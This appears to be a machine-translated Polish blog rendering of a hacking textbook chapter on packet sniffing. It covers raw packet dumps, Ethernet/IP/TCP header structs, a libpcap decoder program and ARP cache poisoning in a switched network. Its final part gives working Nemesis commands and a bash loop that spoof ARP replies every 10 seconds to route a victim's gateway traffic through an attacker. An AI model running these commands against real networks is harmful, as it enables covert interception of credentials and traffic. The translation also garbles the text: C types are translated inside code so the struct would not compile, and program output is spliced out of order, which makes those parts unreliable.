00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P ..). e ... E.

00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9 @. @. F .. * ...

2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | * ........... l ...

05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T ......... .. v. <

37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7. to jest test

0d 0a | ..

Mam pakiet 66-bajtowy

00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..). e ... l..P..E.

00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4 =, @. @. 'M .. * ...

2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | * ....... l .......

05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | .. +? ....... G'l &.

a7 76 | .v

Mam pakiet o długości 84 bajtów

00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P ..). e ... E.

00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.: @. @. F ... * ...

2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | * ........... l ...

05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....SOL

27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | "AAAAAAAAAAAAAAA

41 41 0d 0a | AA ..

reader@ hacking: ~ / booksrc $

Zauważ, że istnieje wiele bajtów poprzedzających przykładowy tekst w pakiecie, a wiele z tych bajtów jest podobnych. Ponieważ są to przechwycone pakiety raw, większość z tych bajtów to warstwy informacji nagłówkowych dla Ethernetu, IP i TCP.

Powrót

15.08.2020

Dekodowanie warstw

W przechwytywanych pakietach najbardziej zewnętrzną warstwą jest Ethernet, który jest również najniższą widoczną warstwą. Ta warstwa służy do przesyłania danych między punktami końcowymi Ethernet z adresami MAC. Nagłówek dla tej warstwy zawiera źródłowy adres MAC, docelowy adres MAC i 16-bitową wartość opisującą typ pakietu Ethernet. W systemie Linux struktura tego nagłówka jest zdefiniowana w /usr/include/linux/if_ethernet.h, a struktury nagłówka IP i nagłówka TCP znajdują się w /usr/include/netinet/ip.h i / usr / include / netinet / tcp.h, odpowiednio. Kod źródłowy tcpdump ma również strukturę dla tych nagłówków, lub możemy po prostu tworzyć własne struktury nagłówków na podstawie specyfikacji RFC. Lepsze zrozumienie można uzyskać, pisząc własne struktury, więc wykorzystajmy definicje struktur jako wskazówki do stworzenia własnych struktur nagłówków pakietów, które zostaną włączone do sieci hakowania. h. Najpierw przyjrzyjmy się istniejącej definicji nagłówka Ethernet

/usr/include/if_ether.h

#define ETH_ALEN 6 /* Octets in one ethernet addr */

#define ETH_HLEN 14 /* Total octets in header */

/*

* This is an Ethernet frame header.

*/

struct ethhdr {

unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */

unsigned char h_source[ETH_ALEN]; /* Source ether addr */

__be16 h_proto; /* Packet type ID field */

} __attribute__((packed));

Ta struktura zawiera trzy elementy nagłówka Ethernet. Deklaracja zmiennej __be16 okazuje się być definicją typu dla 16-bitowej liczby całkowitej bez znaku. Można to określić przez rekursywną grepping dla definicji typu w plikach dołączania.

reader@hacking:~/booksrc $

$ grep -R "typedef.*__be16" /usr/include

/usr/include/linux/types.h:typedef __u16 __bitwise __be16;

$ grep -R "typedef.*__u16" /usr/include | grep short

/usr/include/linux/i2o-dev.h:typedef unsigned short __u16;

/usr/include/linux/cramfs_fs.h:typedef unsigned short __u16;

/usr/include/asm/types.h:typedef unsigned short __u16;

$

Plik include również określa długość nagłówka Ethernet w ETH_HLEN jako 14 bajtów. To się sumuje, ponieważ źródłowe i docelowe adresy MAC używają 6 bajtów każdy, a pole typu pakietu jest 16-bitową krótką liczbą całkowitą, która zajmuje 2 bajty. Jednak wiele kompilatorów będzie umieszczać struktury wzdłuż 4-bajtowych granic dla wyrównania, co oznacza, że sizeof (struct ethhdr) zwróci nieprawidłowy rozmiar. Aby tego uniknąć, należy użyć ETH_HLEN lub stałej wartości 14 bajtów dla długości nagłówka Ethernet. Uwzględniając , dołączane są również te inne pliki zawierające wymaganą definicję typu __be16. Ponieważ chcemy tworzyć własne struktury dla hackowania-network.h, powinniśmy usunąć odniesienia do nieznanych definicji typów. Dopóki jesteśmy, dajmy tym polom lepsze nazwy.

Dodane do hacking-network.h

#define ETHER_ADDR_LEN 6

#define ETHER_HDR_LEN 14

struct ether_hdr {

unsigned char ether_dest_addr[ETHER_ADDR_LEN]; // Destination MAC address

unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC address

unsigned short ether_type; // Type of Ethernet packet

};

Możemy zrobić to samo ze strukturami IP i TCP, wykorzystując odpowiednie struktury i diagramy RFC jako odniesienie.

4.4.3.3. From /usr/include/netinet/ip.h

struct iphdr

{

#if __BYTE_ORDER == __LITTLE_ENDIAN

unsigned int ihl:4;

unsigned int version:4;

#elif __BYTE_ORDER == __BIG_ENDIAN

unsigned int version:4;

unsigned int ihl:4;

#else

# error "Please fix < bits/endian.h >"

#endif

u_int8_t tos;

u_int16_t tot_len;

u_int16_t id;

u_int16_t frag_off;

u_int8_t ttl;

u_int8_t protocol;

u_int16_t check;

u_int32_t saddr;

u_int32_t daddr;

/*The options start here. */

};

From RFC 791

Każdy element w strukturze odpowiada polom pokazanym na diagramie nagłówka RFC. Od pierwszych dwóch pól, Version i IHL (Internet Header Length) mają tylko cztery bity i nie ma żadnych 4-bitowych typów zmiennych w C, definicja nagłówka Linux dzieli bajt w różny sposób w zależności od kolejności bajtów hosta . Te pola znajdują się w kolejności bajtów sieciowych, więc jeśli host jest mało-endyjski, IHL powinno pochodzić przed wersją, ponieważ kolejność bajtów jest odwrotna. Dla naszych celów tak naprawdę nie będziemy używać żadnego z tych pól, więc nie musimy nawet dzielić bajtu.

Dodano do hacking-network.h

struct ip_hdr {

unsigned char ip_version_and_header_length; // Version and header length

unsigned char ip_tos; // Type of service

unsigned short ip_len; // Total length

unsigned short ip_id; // Identification number

unsigned short ip_frag_offset; // Fragment offset and flags

unsigned char ip_ttl; // Time to live

unsigned char ip_type; // Protocol type

unsigned short ip_checksum; // Checksum

unsigned int ip_src_addr; // Source IP address

unsigned int ip_dest_addr; // Destination IP address

};

Wypełnienie kompilatora, jak wspomniano wcześniej, spowoduje wyrównanie tej struktury na granicy 4-bajtowej przez wypełnienie pozostałej części struktury. Nagłówki IP zawsze mają 20 bajtów. Dla nagłówka pakietu TCP odwołujemy się do /usr/include/netinet/tcp.h dla struktury i RFC 793 dla diagramu

From /usr/include/netinet/tcp.h

typedef u_int32_t tcp_seq;

/*

* TCP header.

* Per RFC 793, September, 1981.

*/

struct tcphdr

{

u_int16_t th_sport; /* source port */

u_int16_t th_dport; /* destination port */

tcp_seq th_seq; /* sequence number */

tcp_seq th_ack; /* acknowledgment number */

# if __BYTE_ORDER == __LITTLE_ENDIAN

u_int8_t th_x2:4; /* (unused) */

u_int8_t th_off:4; /* data offset */

# endif

# if __BYTE_ORDER == __BIG_ENDIAN

u_int8_t th_off:4; /* data offset */

u_int8_t th_x2:4; /* (unused) */

# endif

u_int8_t th_flags;

# define TH_FIN 0x01

# define TH_SYN 0x02

# define TH_RST 0x04

# define TH_PUSH 0x08

# define TH_ACK 0x10

# define TH_URG 0x20

u_int16_t th_win; /* window */

u_int16_t th_sum; /* checksum */

u_int16_t th_urp; /* urgent pointer */

};

Z RFC 793

Struktura tcphdr w Linuksie przełącza także porządkowanie 4-bitowego pola przesunięcia danych i 4-bitowej sekcji zarezerwowanego pola w zależności od kolejności bajtów hosta. Pole przesunięcia danych jest ważne, ponieważ określa rozmiar nagłówka TCP o zmiennej długości. Mogłeś zauważyć, że struktura tcphdr w Linuksie nie oszczędza miejsca na opcje TCP. Wynika to z faktu, że RFC definiuje to pole jako opcjonalne. Rozmiar nagłówka TCP zawsze będzie wynosił 32 punkty, a przesunięcie danych mówi nam, ile słów 32-bitowych znajduje się w nagłówku. Więc rozmiar nagłówka TCP w bajtach jest równe polu przesunięcia danych od czwartego czasu nagłówka. Ponieważ pole przesunięcia danych jest wymagane do obliczenia rozmiaru nagłówka, podzielimy bajt zawierający go, zakładając małe bajtowe uporządkowanie bajtów hosta. Pole th_flags struktury tcphdr Linuksa jest zdefiniowane jako 8-bitowa, bez znaku. Wartości zdefiniowane poniżej tego pola są maskami bitowymi, które odpowiadają sześciu możliwym flagom.

Dodano do hacking-network.h

struct tcp_hdr {

niepodpisany krótki tcp_src_port; // Źródłowy port TCP

niepodpisany krótki tcp_dest_port; // Docelowy port TCP

unsigned int tcp_seq; // Numer kolejny TCP

unsigned int tcp_ack; // Numer potwierdzenia TCP

unsigned char zastrzeżone: 4; // 4 bity z 6 bitów zarezerwowanej przestrzeni

unsigned char tcp_offset: 4; // Przesunięcie danych TCP dla małego hosta

unsigned char tcp_flags; // Flagi TCP (i 2 bity z zarezerwowanej przestrzeni)

#define TCP_FIN 0x01

#define TCP_SYN 0x02

#define TCP_RST 0x04

#define TCP_PUSH 0x08

#define TCP_ACK 0x10

#define TCP_URG 0x20

niepodpisany krótki tcp_window; // Rozmiar okna TCP

niepodpisany krótki tcp_checksum; // Suma kontrolna TCP

unsigned short tcp_urgent; // Pilny wskaźnik TCP

};

Teraz, gdy nagłówki są zdefiniowane jako struktury, możemy napisać program do dekodowania warstwowych nagłówków każdego pakietu. Ale zanim to zrobimy, porozmawiajmy przez chwilę o libpcap. Ta biblioteka ma funkcję o nazwie pcap_loop (), która jest lepszym sposobem przechwytywania pakietów niż zapętlanie w wywołaniu pcap_next (). Bardzo niewiele programów faktycznie używa pcap_next (), ponieważ jest niezdarna i nieefektywna. Funkcja pcap_loop () używa funkcji wywołania zwrotnego. Oznacza to, że funkcja pcap_loop () jest przekazywana wskaźnikowi funkcji, który jest wywoływany za każdym razem, gdy przechwytywany jest pakiet. Prototyp dla pcap_loop () wygląda następująco:

int pcap_loop (pcap_t * uchwyt, int count, wywołanie zwrotne pcap_handler, u_char * args);

Pierwszy argument to uchwyt pcap, następny to liczba przechwyconych pakietów, a trzecia to wskaźnik funkcji do funkcji wywołania zwrotnego. Jeśli argument count zostanie ustawiony na -1, zapętli się, aż program się z niego wyłączy. Ostatnim argumentem jest opcjonalny wskaźnik, który zostanie przekazany do funkcji wywołania zwrotnego. Naturalnie funkcja wywołania zwrotnego musi podążać za określonym prototypem, ponieważ funkcja pcap_loop () musi wywoływać tę funkcję. Funkcję zwrotną można nazwać dowolnie, ale argumenty muszą wyglądać następująco:

void callback (u_char * args, const struct pcap_pkthdr * cap_header, const u_char * packet);

Pierwszy argument jest po prostu opcjonalnym argumentem argumentu z ostatniego argumentu na pcap_loop (). Może być używany do przekazywania dodatkowych informacji do funkcji wywołania zwrotnego, ale nie będziemy tego używać. Następne dwa argumenty powinny być znane z pcap_next (): wskaźnik do nagłówka przechwytywania i wskaźnik do samego pakietu. Poniższy przykładowy kod wykorzystuje pcap_loop () z funkcją wywołania zwrotnego do przechwytywania pakietów i naszych struktur nagłówkowych w celu ich dekodowania. Ten program zostanie wyjaśniony, gdy wyświetlony zostanie kod.

decode_sniff.c

#include < pcap.h >

#include "hacking.h"

#include "hacking-network.h"

void pcap_fatal(const char *, const char *);

void decode_ethernet(const u_char *);

void decode_ip(const u_char *);

u_int decode_tcp(const u_char *);

void caught_packet(u_char *, const struct pcap_pkthdr *, const u_char *);

int main() {

struct pcap_pkthdr cap_header;

const u_char *packet, *pkt_data;

char errbuf[PCAP_ERRBUF_SIZE];

char *device;

pcap_t *pcap_handle;

device = pcap_lookupdev(errbuf);

if(device == NULL)

pcap_fatal("pcap_lookupdev", errbuf);

printf("Sniffing on device %s\n", device);

pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf);

if(pcap_handle == NULL)

pcap_fatal("pcap_open_live", errbuf);

pcap_loop(pcap_handle, 3, caught_packet, NULL);

pcap_close(pcap_handle);

}

Na początku tego programu deklarowany jest prototyp funkcji zwrotnej, zwany catch_packet (), wraz z kilkoma funkcjami dekodującymi. Cała reszta w main () jest w zasadzie taka sama, z tym wyjątkiem, że pętla for została zastąpiona pojedynczym wywołaniem pcap_loop (). Ta funkcja jest przekazywana do narzędzia pcap_handle, nakazanego do przechwytywania trzy pakiety i wskazał funkcję zwrotną catch_packet (). Ostatnim argumentem jest NULL, ponieważ nie mamy żadnych dodatkowych danych do przekazania do catch_packet (). Zwróć też uwagę, że funkcja decode_tcp () zwraca wartość u_int. Ponieważ długość nagłówka TCP jest zmienna, ta funkcja zwraca długość nagłówka TCP

void caught_packet(u_char *user_args, const struct pcap_pkthdr *cap_header, const u_char

*packet) {

int tcp_header_length, total_header_size, pkt_data_len;

u_char *pkt_data;

printf("==== Got a %d byte packet ====\n", cap_header->len);

decode_ethernet(packet);

decode_ip(packet+ETHER_HDR_LEN);

tcp_header_length = decode_tcp(packet+ETHER_HDR_LEN+sizeof(struct ip_hdr));

total_header_size = ETHER_HDR_LEN+sizeof(struct ip_hdr)+tcp_header_length;

pkt_data = (u_char *)packet + total_header_size; // pkt_data points to the data

portion.

pkt_data_len = cap_header->len - total_header_size;

if(pkt_data_len > 0) {

printf("\t\t\t%u bytes of packet data\n", pkt_data_len);

dump(pkt_data, pkt_data_len);

} else

printf("\t\t\tNo Packet Data\n");

}

void pcap_fatal(const char *failed_in, const char *errbuf) {

printf("Fatal Error in %s: %s\n", failed_in, errbuf);

exit(1);

}

Funkcja caught_packet () zostaje wywołana, gdy pcap_loop () przechwytuje pakiet. Ta funkcja używa długości nagłówka, aby podzielić pakiet przez warstwy i funkcje dekodujące, aby wydrukować szczegóły nagłówka każdej warstwy.

void decode_ethernet(const u_char *header_start) {

int i;

const struct ether_hdr *ethernet_header;

ethernet_header = (const struct ether_hdr *)header_start;

printf("[[ Layer 2 :: Ethernet Header ]]\n");

printf("[ Source: %02x", ethernet_header->ether_src_addr[0]);

for(i=1; i < ETHER_ADDR_LEN; i++)

printf(":%02x", ethernet_header->ether_src_addr[i]);

printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]);

for(i=1; i < ETHER_ADDR_LEN; i++)

printf(":%02x", ethernet_header->ether_dest_addr[i]);

printf("\tType: %hu ]\n", ethernet_header->ether_type);

}

void decode_ip(const u_char *header_start) {

const struct ip_hdr *ip_header;

ip_header = (const struct ip_hdr *)header_start;

printf("\t(( Layer 3 ::: IP Header ))\n");

printf("\t( Source: %s\t", inet_ntoa(ip_header->ip_src_addr));

printf("Dest: %s )\n", inet_ntoa(ip_header->ip_dest_addr));

printf("\t( Type: %u\t", (u_int) ip_header->ip_type);

printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id), ntohs(ip_header->ip_len));

}

u_int decode_tcp(const u_char *header_start) {

u_int header_size;

const struct tcp_hdr *tcp_header;

tcp_header = (const struct tcp_hdr *)header_start;

header_size = 4 * tcp_header->tcp_offset;

printf("\t\t{{ Layer 4 :::: TCP Header }}\n");

printf("\t\t{ Src Port: %hu\t", ntohs(tcp_header->tcp_src_port));

printf("Dest Port: %hu }\n", ntohs(tcp_header->tcp_dest_port));

printf("\t\t{ Seq #: %u\t", ntohl(tcp_header->tcp_seq));

printf("Ack #: %u }\n", ntohl(tcp_header->tcp_ack));

printf("\t\t{ Header Size: %u\tFlags: ", header_size);

if(tcp_header->tcp_flags & TCP_FIN)

printf("FIN ");

if(tcp_header->tcp_flags & TCP_SYN)

printf("SYN ");

if(tcp_header->tcp_flags & TCP_RST)

printf("RST ");

if(tcp_header->tcp_flags & TCP_PUSH)

printf("PUSH ");

if(tcp_header->tcp_flags & TCP_ACK)

printf("ACK ");

if(tcp_header->tcp_flags & TCP_URG)

printf("URG ");

printf(" }\n");

return header_size;

}

Funkcje dekodujące przekazują wskaźnik do początku nagłówka, który jest typograficzny do odpowiedniej struktury. Pozwala to na dostęp do różnych pól nagłówka, ale ważne jest, aby pamiętać, że te wartości będą w kolejności bajtów sieciowych. Dane pochodzą bezpośrednio z przewodu, dlatego kolejność bajtów musi zostać przekonwertowana do użycia na procesorze x86

reader@hacking:~/booksrc $ gcc -o decode_sniff decode_sniff.c -lpcap

reader@hacking:~/booksrc $ sudo ./decode_sniff

Sniffing on device eth0

==== Got a 75 byte packet ====

[[ Layer 2 :: Ethernet Header ]]

[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]

(( Layer 3 ::: IP Header ))

( Source: 192.168.42.1 Dest: 192.168.42.249 )

( Type: 6 ID: 7755 Length: 61 )

{{ Layer 4 :::: TCP Header }}

{ Src Port: 35602 Dest Port: 7890 }

{ Seq #: 2887045274 Ack #: 3843058889 }

{ Header Size: 32 Flags: PUSH ACK }

9 bytes of packet data

74 65 73 74 69 6e 67 0d 0a | testing..

==== Got a 66 byte packet ====

[[ Layer 2 :: Ethernet Header ]]

[ Source: 00:01:6c:eb:1d:50 Dest: 00:01:29:1(( Layer 3 ::: IP Header ))

( Source: 192.168.42.249 Dest: 192.168.42.1 )

( Type: 6 ID: 15678 Length: 52 )

{{ Layer 4 :::: TCP Header }}

{ Src Port: 7890 Dest Port: 35602 }

{ Seq #: 3843058889 Ack #: 2887045283 }

{ Header Size: 32 Flags: ACK }

No Packet Data

==== Got a 82 byte packet ====

[[ Layer 2 :: Ethernet Header ]]

[ Source: 00:01:29:15:65:b6 Dest: 00:01:6c:eb:1d:50 Type: 8 ]

(( Layer 3 ::: IP Header ))

( Source: 192.168.42.1 Dest: 192.168.42.249 )

( Type: 6 ID: 7756 Length: 68 )

{{ Layer 4 :::: TCP Header }}

{ Src Port: 35602 Dest Port: 7890 }

{ Seq #: 2887045283 Ack #: 3843058889 }

{ Header Size: 32 Flags: PUSH ACK }

16 bytes of packet data

74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | this is a test..

reader@hacking:~/booksrc $5:65:b6 Type: 8 ]

Po zdekodowaniu nagłówków i podzieleniu ich na warstwy, połączenie TCP / IP jest znacznie łatwiejsze do zrozumienia. Zwróć uwagę, które adresy IP są powiązane z tym adresem MAC. Zwróć także uwagę na to, że numer kolejny w dwóch pakietach z 192.168.42.1 (pierwszy i ostatni pakiet) zwiększa się o dziewięć, ponieważ pierwszy pakiet zawierał dziewięć bajtów rzeczywistych danych: 2887045283 - 2887045274 = 9. Jest to używane przez protokół TCP aby upewnić się, że wszystkie dane przybywają po kolei, ponieważ pakiety mogą być opóźnione z różnych powodów. Pomimo wszystkich mechanizmów wbudowanych w nagłówki pakietów, pakiety są nadal widoczne dla każdego w tym samym segmencie sieci. Protokoły takie jak FTP, POP3 i telnet transmitują dane bez szyfrowania. Nawet bez pomocy narzędzia takiego jak dsniff, dość trywialne jest atakowanie sieci przez intruza w celu znalezienia nazw użytkowników i haseł w tych pakietach i wykorzystania ich do złamania zabezpieczeń innych systemów. Z perspektywy bezpieczeństwa nie jest to zbyt dobre, więc bardziej inteligentne przełączniki zapewniają przełączane środowiska sieciowe.

Powrót

16.08.2020

Aktywne sniffowanie

W przełączanym środowisku sieciowym pakiety są wysyłane tylko do portu, do którego są przeznaczone, zgodnie z docelowymi adresami MAC. Wymaga to bardziej inteligentnego sprzętu, który może tworzyć i utrzymywać tabelę wiążącą adresy MAC z niektórymi portami, w zależności od tego, które urządzenie jest podłączone do każdego portu, jak pokazano tutaj. Zaletą przełączanego środowiska jest to, że urządzenia są wysyłane tylko do tych pakietów, które są przeznaczone dla nich, tak że urządzenia promiscuous nie są w stanie wykryć żadnych dodatkowych pakietów. Ale nawet w zmiennym środowisku istnieją sprytne sposoby na węszenie pakietów innych urządzeń; po prostu wydają się nieco bardziej złożone. Aby znaleźć takie hacki jak te szczegóły protokołów muszą zostać zbadane, a następnie połączone. Jednym z ważnych aspektów komunikacji sieciowej, którą można manipulować w celu uzyskania interesujących efektów, jest adres źródłowy. W tych protokołach nie ma żadnego przepisu, który zapewniłby, że adres źródłowy w pakiecie rzeczywiście jest adresem maszyny źródłowej. Akt fałszowania adresu źródłowego w pakiecie nazywa się fałszowaniem. Podszywania się do torby sztuczek znacznie zwiększa liczbę możliwych ataków hakerów, ponieważ większość systemów oczekuje, że adres źródłowy będzie ważny. Podszywanie się jest pierwszym krokiem do wąchania pakietów w przełączanej sieci. Pozostałe dwa interesujące szczegóły znajdują się w ARP. Po pierwsze, gdy odpowiedź ARP przychodzi z adresem IP, który już istnieje w pamięci podręcznej ARP, system odbiorczy zastąpią wcześniejsze informacje o adresie MAC z nowym informacji zawartych w odpowiedzi (chyba, że zapis w pamięci podręcznej ARP została wyraźnie oznaczona jako stały). Po drugie, nie są przechowywane żadne informacje o stanie ruchu ARP, ponieważ wymagałoby to dodatkowej pamięci i skomplikowania protokołu, który ma być prosty. Oznacza to, że systemy przyjmą odpowiedź ARP, nawet jeśli nie wysłały żądania ARP. Te trzy szczegóły, gdy są właściwie wykorzystywane, umożliwiają intruzowi podsłuchiwanie ruchu sieciowego w sieci komutowanej za pomocą techniki zwanej przekierowaniem ARP. Atakujący wysyła sfałszowane odpowiedzi ARP do niektórych urządzeń, które powodują nadpisanie wpisów pamięci podręcznej ARP danymi atakującego. Ta technika nazywa się zatruwaniem pamięci podręcznej ARP. Aby wykryć ruch sieciowy między dwoma punktami, A i B, atakujący musi zatruć pamięć podręczną ARP A, aby spowodować, że A uwierzy, że adres IP B jest pod adresem MAC atakującego, a także zatruć pamięć podręczną ARP B, aby spowodować B, aby uwierzyć, że adres IP A jest również pod adresem MAC atakującego. Potem atakująca aaszyna po prostu musi przekazać te pakiety do odpowiednich docelowych miejsc docelowych. Następnie cały ruch między A i B nadal jest dostarczany, ale wszystkie przepływają przez maszynę atakującego. Ponieważ A i B owijają swoje własne nagłówki Ethernet na swoich pakietach w oparciu o ich odpowiednie pamięci podręczne ARP, ruch IP A przeznaczony dla B jest faktycznie wysyłany na adres MAC atakującego i na odwrót. Przełącznik filtruje ruch wyłącznie na podstawie adresu MAC, więc przełącznik działa tak, jak został zaprojektowany, wysyłając ruch IP A i B, przeznaczony do adresu MAC atakującego, do portu atakującego. Następnie atakujący przewija pakiety IP z odpowiednimi nagłówkami Ethernetu i odsyła je z powrotem do przełącznika, gdzie ostatecznie są kierowane do właściwego miejsca docelowego. Przełącznik działa poprawnie; to maszyny ofiary, które zostały nakłonione do przekierowania ruchu przez maszynę atakującego. Ze względu na limity czasu, komputery ofiary będą okresowo wysyłać prawdziwe żądania ARP i otrzymywać odpowiedzi rzeczywistych ARP w odpowiedzi. Aby utrzymać atak przekierowania, atakujący musi zachować zatrute skrzynie ARP maszyny ofiary. Prostym sposobem osiągnięcia tego jest wysyłanie sfałszowanych odpowiedzi ARP do A i B w stałych odstępach - na przykład co 10 sekund. Brama to system, który kieruje cały ruch z lokalnej sieci do Internetu. Przekierowanie ARP są szczególnie interesujące, gdy domyślną bramą jest jeden z komputerów ofiary, ponieważ ruch między bramą domyślną a innym systemem to ruch internetowy tego systemu. Na przykład, jeśli maszyna ma 192.168.0.118 komunikuje się z bramą pod adresem 192.168.0.1 przez przełącznik, ruch zostanie ograniczony przez adres MAC. Oznacza to, że ten ruch nie może być normalnie wykrywany, nawet w trybie mieszanym. Aby powąchać ten ruch, należy go przekierować. Aby przekierować ruch, najpierw należy określić adresy MAC 192.168.0.118 i 192.168.0.1. Można tego dokonać, wysyłając polecenie ping do tych hostów, ponieważ każda próba połączenia IP będzie korzystać z ARP. Jeśli uruchamiasz sniffer, możesz zobaczyć komunikację ARP, ale system operacyjny buforuje wynikające stąd połączenia adresu IP / MAC

reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1

PING 192.168.0.1 (192.168.0.1): 56 octets data

64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms

--- 192.168.0.1 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118

PING 192.168.0.118 (192.168.0.118): 56 octets data

64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms

--- 192.168.0.118 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

reader@hacking:~/booksrc $ arp -na

? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0

? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0

reader@hacking:~/booksrc $ ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED

inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0

UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1

RX packets:4153 errors:0 dropped:0 overruns:0 frame:0

TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:100

RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)

Interrupt:9 Base address:0xc000

reader@hacking:~/booksrc $

Po wykonaniu pingowania adresy MAC 192.168.0.118 i 192.168.0.1 znajdują się w pamięci podręcznej ARP atakującego. W ten sposób pakiety mogą dotrzeć do ostatecznych celów po przekierowaniu na maszynę atakującego. Zakładając, że możliwości przekierowania IP są wkompilowane w jądro, wszystko co musimy zrobić, to wysłać kilka fałszywych odpowiedzi ARP w regularnych odstępach czasu. 192.168.0.118 należy poinformować, że 192.168.0.1 jest o 00: 00: AD: D1: C7: ED, a 192.168.0.1 należy poinformować, że 192.168.0.118 jest również o 00: 00: AD: D1: C7: ED. Te sfałszowane pakiety ARP można wstrzykiwać za pomocą narzędzia do iniekcji pakietów uruchamianego z wiersza poleceń o nazwie Nemesis. Nemesis był pierwotnie zestawem narzędzi napisanych przez Mark Grimes, ale w najnowszej wersji 1.4, wszystkie funkcje zostały zrolowane w jedno narzędzie przez nowego opiekuna i programistę, Jeffa Nathana. Kod źródłowy dla Nemesis znajduje się na LiveCD w / usr / src / nemesis- 1.4 / i został już zbudowany i zainstalowany.

reader@hacking:~/booksrc $ nemesis

NEMESIS -=- The NEMESIS Project Version 1.4 (Build 26)

NEMESIS Usage:

nemesis [mode] [options]

NEMESIS modes:

arp

dns

ethernet

icmp

igmp

ip

ospf (currently non-functional)

rip

tcp

udp

NEMESIS options:

To display options, specify a mode with the option "help".

reader@hacking:~/booksrc $ nemesis arp help

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

ARP/RARP Usage:

arp [-v (verbose)] [options]

ARP/RARP Options:

-S < Source IP address >

-D < Destination IP address >

-h < Sender MAC address within ARP frame >

-m < Target MAC address within ARP frame >

-s < Solaris style ARP requests with target hardware addess set to broadcast >

-r ({ARP,RARP} REPLY enable)

-R (RARP enable)

-P < Payload file >

Data Link Options:

-d < Ethernet device name >

-H < Source MAC address >

-M < Destination MAC address >

You must define a Source and Destination IP address.

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D

192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -

M 00:C0:F0:79:3D:30

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.1 > 192.168.0.118

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB

ARP Packet Injected

reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D

192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M

00:50:18:00:0F:01

ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4 (Build 26)

[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[Ethernet type] ARP (0x0806)

[Protocol addr:IP] 192.168.0.118 > 192.168.0.1

[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01

[ARP opcode] Reply

[ARP hardware fmt] Ethernet (1)

[ARP proto format] IP (0x0800)

[ARP protocol len] 6

[ARP hardware len] 4

Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.

ARP Packet Injected

reader@hacking:~/booksrc $

Te dwie komendy podszywają odpowiedzi ARP od 192.168.0.1 do 192.168.0.118 i na odwrót, obie twierdzą, że ich adres MAC znajduje się na adresie MAC atakującego, 00: 00: AD: D1: C7: ED. Jeśli te polecenia będą powtarzane co 10 sekund, te fałszywe odpowiedzi ARP będą nadal powodować zatajanie pamięci podręcznych ARP i przekierowanie ruchu. Standardowa powłoka BASH pozwala na wykonywanie skryptów za pomocą znanych instrukcji sterowania przepływem. Prosta powłoka BASH, podczas gdy pętla jest używana poniżej do pętli na zawsze, wysyłając nasze dwie zatruwające odpowiedzi ARP co 10 sekund.

reader@hacking:~/booksrc $ while true

> do

> sudo nemesis arp -v -r -d eth0 -S 192.168.0.1 -D 192.168.0.118 -h

00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30 -H 00:00:AD:D1:C7:ED -M

00:C0:F0:79:3D:30

> sudo nemesis arp -v -r -d eth0 -S 192.168.0.118 -D 192.168.0.1 -h

00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H 00:00:AD:D1:C7:ED -M

00:50:18:00:0F:01

> echo "Redirecting..."

> sleep 10

> done

